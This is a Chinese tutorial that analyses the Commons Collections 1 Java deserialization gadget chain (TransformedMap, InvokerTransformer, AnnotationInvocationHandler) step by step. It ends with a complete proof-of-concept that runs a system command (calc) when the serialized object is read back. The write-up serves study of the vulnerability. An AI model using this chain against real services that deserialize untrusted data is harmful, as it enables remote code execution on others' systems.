CC1-TransformdMap链

0. 环境搭建

​ Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合) 相关类对象。

Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

Commons Collections的maven仓库:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

存在漏洞的版本:commons-collections 3.1-3.2.1;JDK 8u71之后已修复不可利⽤

实验环境: JDK-8u65、commons-collections 3.2.1

新建Maven项目,选择JDK-8u65

image-20240423231338923

修改pom.xml文件

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20240423231428535

image-20240423232621575

​ 查看CC的依赖包,里面都是class字节码文件;如果想要看源码发现都是反编译过来的(变量名都是v1、v2之类的),无法进行直观的审计(都是class文件,另外使用find usages的时候,IDEA是不会去class文件查找的)

image-20240423232646963

JDK的源码不包含sun包,在JDK的src目录中加入sun源码包,sun目录从源码包:src/share/classes目录中拷贝到JDK的src目录下即可

image-20240423232719560

配置CC模块的JDK

image-20240423232734631

然后查看源码既可,以上环境就基本搭建好了

image-20240423232755015

1. 前置知识

首先了解Java的命令执行:Runtime.getRuntime().exec(“calc”)

  • 普通调用
1
Runtime.getRuntime().exec("calc");

image-20240423232845987

  • 反射调用

    1
    2
    3
    4
    5
    Class c = Class.forName("java.lang.Runtime");
    Method getRuntimeMethod = c.getMethod("getRuntime");
    Runtime r = (Runtime) getRuntimeMethod.invoke(c);
    Method execMethod = c.getMethod("exec",String.class);
    execMethod.invoke(r,"calc");

    image-20240423232914787

分析:

在IDEA中,快捷键两次shift,搜索Runtime;发现getRuntime方法是public修饰的,返回类型是Runtime类型且无参

image-20240423232931291

注:Runtime类是无法进行序列化的,因为没有实现Serializable接口

2. 实战

​ 分析commons-collections.jar包中的InvokerTransformer.class类:该类中有个transform方法,如果input对象不为null的话,就会调用下图红框中的代码(可以反射调用input对象中的某个方法);

​ 那么如果想要命令执行的话,就可以传入Runtime类的exec方法。对比前面反射调用RCE的例子,那么transform方法的input参数就应该为Runtime.getRuntime。

image-20240423233046785

​ 继续分析InvokerTransformer.java类的构造方法:有两个构造方法,要想利用transform方法中的反射的话,就需要调用三个参数的构造方法

​ 变量methodName赋值给iMethodName属性,paramTypes数组赋值给iParamTypes属性,args数组赋值给iArgs属性。这三个属性分别对应着要调用的方法名、方法参数类型

方法的参数。

image-20240423233105644

构造POC

1
2
3
4
5
6
7
8
9
10
# 1. 创建InvokerTransformer对象并调用transform方法
new InvokerTransformer().transform();

# 2. 创建transform方法所需要的参数:Runtime.getRuntime()
Runtime r = Runtime.getRuntime(); # 因为是静态方法,所以可以直接通过类名调用
new InvokerTransformer().transform(r);

# 3. 分析构造方法传入相应的参数即可
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

执行弹出计算器;感觉构造方法和transform也太凑巧了,很像是在写一个后门

image-20240423233157177

​ 找到恶意利用点,接下来就可以构造链子了。查找哪里调用了transform方法(本质就是找入口,一直找到readObject方法即可),在TransformedMap类中找到checkSetValue方法,该方法调用了InvokerTransformer类的transform方法

分析:

​ 例如checkSetValue方法中调用了transform方法,而在某个类中的readObject方法中又调用了checkSetValue方法并且该类实现了序列化接口,可以被序列化,那么就可以把该类当成反序列化的入口了。

image-20240423233231183

​ 分析checkSetValue方法:直接返回valueTransformer对象的transform方法。跟踪valueTransformer对象,找到定义它的地方;最终在该类(TransformedMap类)的构造方法中找到有valueTransformer的定义

image-20240423233252002

  • 自己的分析方法:

​ 可以尝试通过反射的方法来动态构造TransformedMap类的对象,并把InvokerTransformer作为参数传入。(因为TransformedMap类的checkSetValue方法中的valueTransformer属性可以通过构造方法获得)

1
2
3
4
5
6
7
8
9
10
11
12
13
Runtime r  = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

Map<Object,Object> map = new HashMap<>();

Class TransformedMapClass = TransformedMap.class;
Constructor TransformedMapMethod = TransformedMapClass.getDeclaredConstructor(Map.class,Transformer.class,Transformer.class);
TransformedMapMethod.setAccessible(true);
TransformedMap tmObject = (TransformedMap) TransformedMapMethod.newInstance(map,null,invokerTransformer);

Method checkSetValueMethod = TransformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(tmObject,r);

image-20240423233401616

  • 网上的分析方法:

​ 因为如果想要通过TransformedMap类的构造方法传入InvokerTransformer对象的话,就需要创建TransformedMap对象。这里跟踪发现在前面有个静态方法:decorate;该方法中创建了TransformedMap对象。

image-20240423233342192

因为是静态方法,可以直接通过类名来调用,而不用通过反射。构造POC

1
2
3
4
5
6
7
8
9
10
11
Runtime r  = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

Map<Object,Object> map = new HashMap<>();
Map decorateMap = TransformedMap.decorate(map,null,invokerTransformer); // TransformedMap类间接实现于Map接口

Class TransformedMapClass = TransformedMap.class;
Method checkSetValueMethod = TransformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);

checkSetValueMethod.invoke(decorateMap,r); // 这里的第一个参数:因为TransformedMap类调用decorate方法会返回当前类的对象,返回类型是Map

image-20240423233436297

跟踪到decorate方法,继续find useages,发现无法继续深入,没有对该decorate方法继续调用的地方。

image-20240423233456360

所以只能回到chekcSetValue方法中,重新寻找链子;在AbstractInputCheckedMapDecorator类的内部类MapEntry有个setValue方法调用了checkSetValue方法。

image-20240423233518500

继续往下分析:

​ 跟踪到AbstractInputCheckedMapDecorator类,该类中有个内部类MapEntry的setValue方法里有对checkSetValue方法的调用。

image-20240423233535682

对Java熟悉的话,看到setVlaue可能会比较敏感;map接口中有对setValue方法的定义,setValue() 实际上就是在 Map 中对一组 entry(键值对)进行

setValue() 操作。

那么只需要对map即可进行遍历,就可以调用setValue方法间接调用checkSetValue方法。

1
2
3
4
5
6
7
8
9
map.put("key", "value");    // 键值对中要有东西,不然无法调用setValue方法
for (Map.Entry entry:decorateMap.entrySet()) {
entry.setValue(r);
}

# 分析:
decorate方法返回值是一个Map,该方法实际上类似于一个动态代理案例中的代理类,对Map传进来的key和value做一些处理;
因为decorate方法返回值是Map,那就可以对它进行遍历;entry保存的就是一个个的键值对;
TransformedMap类没有setValue方法,但是TransformedMap类继承于AbstractInputCheckedMapDecorator类,所以可以调用setValue方法

修改payload,如下

1
2
3
4
5
6
7
8
Runtime r = Runtime.getRuntime(); 
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,invokerTransformer); // TransformedMap类间接实现于Map接口
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(r);
}

image-20240423233716671

执行payload,弹出计算器

image-20240423233755182

攻击思路:

​ 找到一个是Map的入口类,遍历这个集合,并执行 setValue 方法,即可构造 Poc。(如果一开始就能在一些readObject方法中找到可控对象(InvokerTransformer类)的transform方法,那这条链子就会很轻松;但是往往都是通过不断间接的调用,才构成链子)

​ 继续跟踪setValue方法的调用,定位到JDK-8u65版本中的AnnotationInvocationHandler类的setValue方法(前面都是CC组件中的链子),并且该setValue方法是在readObject中的,AnnotationInvocationHandler类还实现了Serializable接口,可以被序列化。

​ 该类中的setValue方法是通过memberValue调用的,参数memberValue又是通过memberValues集合获得的;那么只需要控制memberValues为TransformedMap类decorate方法的返回即可

image-20240423233820123

分析AnnotationInvocationHandler类的构造方法:

​ 刚好memberValues参数通过构造方法传入,且该类和构造方法的作用域都是default,只能本类中调用;就需要通过反射来获取类及构造函数,再实例化它。

image-20240423233840214

通过反射,构造POC

1
2
3
4
Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandlerObject = annotationInvocationHandlerConstructor.newInstance(Override.class,decorateMap);

此时,大致的链子已经构成;但是想要正确序列化还需要满足三个问题:

  • Runtime类没有实现Serializable接口,不能对其进行序列化

image-20240423233913063

解决办法:

可以通过反射的方法来实例化

1
Class c = Runtime.class;

返回类型是Class,Class类实现了Serializeable接口

image-20240423233951193

通过反射调用来RCE

1
2
3
4
5
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime");
Runtime getRuntimeInovke = (Runtime) getRuntimeMethod.invoke(null); // 静态方法调用无需传入对象
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(getRuntimeInovke,"calc");

image-20240423234014063

​ 上述的Runtime通过反射,虽然可以进行序列化;但是可以直接利用之前的利用点InvokerTransformer类中的transform方法来实现对Runtime的RCE调用,InvokerTransformer类本身就实现了Serializable接口,可以进行序列化。

修改代码:

1
# 结构:new InvokerTransformer("方法名",new Class[]{},new Object[]{}).transform();
  • 获得getMethod方法

image-20240423234047552

1
2
3
Method getMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
等价于
Method getRuntimeMethod = c.getMethod("getRuntime");
  • 获得inovke方法

image-20240423234109771

1
2
3
Runtime getInvoke =  (Runtime)  new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
等价于
Runtime getRuntimeInovke = (Runtime) getRuntimeMethod.invoke(null);
  • 获得exec方法

image-20240423234129390

1
2
3
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(getInvoke);
等价于
Method execMethod = c.getMethod("exec", String.class);

执行结果,弹出计算器

image-20240423234149335

上述通过InvokerTransformer类的transform方法实现的RCE还是有个缺点,就是每个的返回值都得手动传给下一个,比较麻烦。这里有个ChainedTransformer类的transform方法可以遍历实现自动把每个返回值传给下一个的功能。

修改代码:需要先创建一个Transform数组

image-20240423234204471

分析ChainedTransformer类的transform方法:遍历Transformer数组,并把每次的执行结构返回给下一次使用

image-20240423234216863

因为InvokerTransformer类和ChainedTransformer类本身都实现Transformer接口,所以创建InvokerTransformer对象的返回类型就是Transformer类型的

1
2
3
4
5
6
7
8
9
Transformer[] transforms = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class); // 编写此处代码时,其它代码注释掉了,暂时通过这个调用(后续需要找方法去代替)
// 实际上面一行代码不需要,是通过AnnotationInvocationHandler类的setValue方法传入Runtime对象执行,通过链子调用到transform方法

image-20240423234236442

  • AnnotationInvocationHandler类的readObject方法中需要满足两个IF条件才能调用setValue方法

image-20240423234251043

在IF语句处下个断点,在poc.java文件中进行debug,成功断在IF语句处;可以看到memberType参数为null,所以进入不了IF判断

image-20240423234309828

根据下图中的分析:

​ 如果传入Override.class的话,是没有成员方法的。也就无法进入下面的IF判断。所以需要传入一个有成员方法的注解。memberTpye参数是通过memberTypes.get(name)获得的;而name是通过POC中Map集合传入获得的参数,即name的值为Map集合传入的键值

image-20240423234329240

image-20240423234337820

image-20240423234345961

修改POC传入的参数为Target.class

1
Object annotationInvocationHandlerObject =  annotationInvocationHandlerConstructor.newInstance(Target.class,decorateMap);

分析:可以看到memberTypes中已经有内容了,但是到446行代码处,返回的值仍然是null;该函数的意思是获取变量name的值。因为POC传入的键值是key_test,get函数匹配不到所以返回为null

image-20240423234417296

修改POC

1
map.put("value","value_test");

分析:Map集合传入键值为value字符串后,满足get函数的条件,获得内容,进入IF判断

image-20240423234448329

​ 继续debug,步进;内层IF判断:判断变量value的是否是memberType类的实例,这里明显不是。value的内容为value_test字符串,两者没有任何关系,直接进入内层IF判断。

image-20240423234507487

  • AnnotationInvocationHandler类中的setValue无法直接传入Runtime对象

分析:

​ setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。需要换一个思路,不能从此处入手;如果能找到一个类有transform方法并且还能够控制transform方法的传参的话,就可以在链子调用到transform方法前通过这个类修改传参内容。

image-20240423234529514

ConstantTransformer类可以实现上述的功能:根据构造方法的分析,只要传入什么对象就返回什么对象,而transform方法不管传入什么都返回构造方法传入的对象参数

image-20240423234542793

构造最终POC

image-20240423234555171

3. POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.awt.image.renderable.RenderableImage;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

/**
* @author shiyingai
* @create 2023-03-02 23:12
*/
public class poc {
public static void main(String[] args) throws Exception {

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class), // 必须写在第一行,先获得Runtime类
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
// 以上代码是为了实现Runtime参与序列化,反射调用RCE



Map<Object,Object> map = new HashMap<>();
map.put("value","value_test");

Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,chainedTransformer); // TransformedMap类间接实现于Map接口

Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object annotationInvocationHandlerObject = annotationInvocationHandlerConstructor.newInstance(Target.class,decorateMap);



// 对AnnotationInvocationHandler类进行序列化
serialize(annotationInvocationHandlerObject);

// 对AnnotationInvocationHandler类进行反序列化
unserialize("ser.bin");
}

// 序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

运行POC,弹出计算器

image-20240423234630906

4. 调用链

image-20240423234659535

拓展

  1. 有无readObject方法的情况

​ 当一个类实现了Serializable接口并且在类中定义了readObject方法时,在反序列化该类的过程中,readObject方法会被执行。readObject方法是在反序列化期间由Java的序列化机制自动调用的特殊方法。它的作用是在对象被反序列化后控制其自定义的处理逻辑

​ 当一个类实现了Serializable接口,它的对象可以被序列化和反序列化。如果在反序列化时,被反序列化的类没有定义readObject方法,Java的序列化机制会使用默认的反序列化行为。默认情况下,它会按照类的成员变量的顺序和类型来进行反序列化,然后为对象的字段赋予相应的值。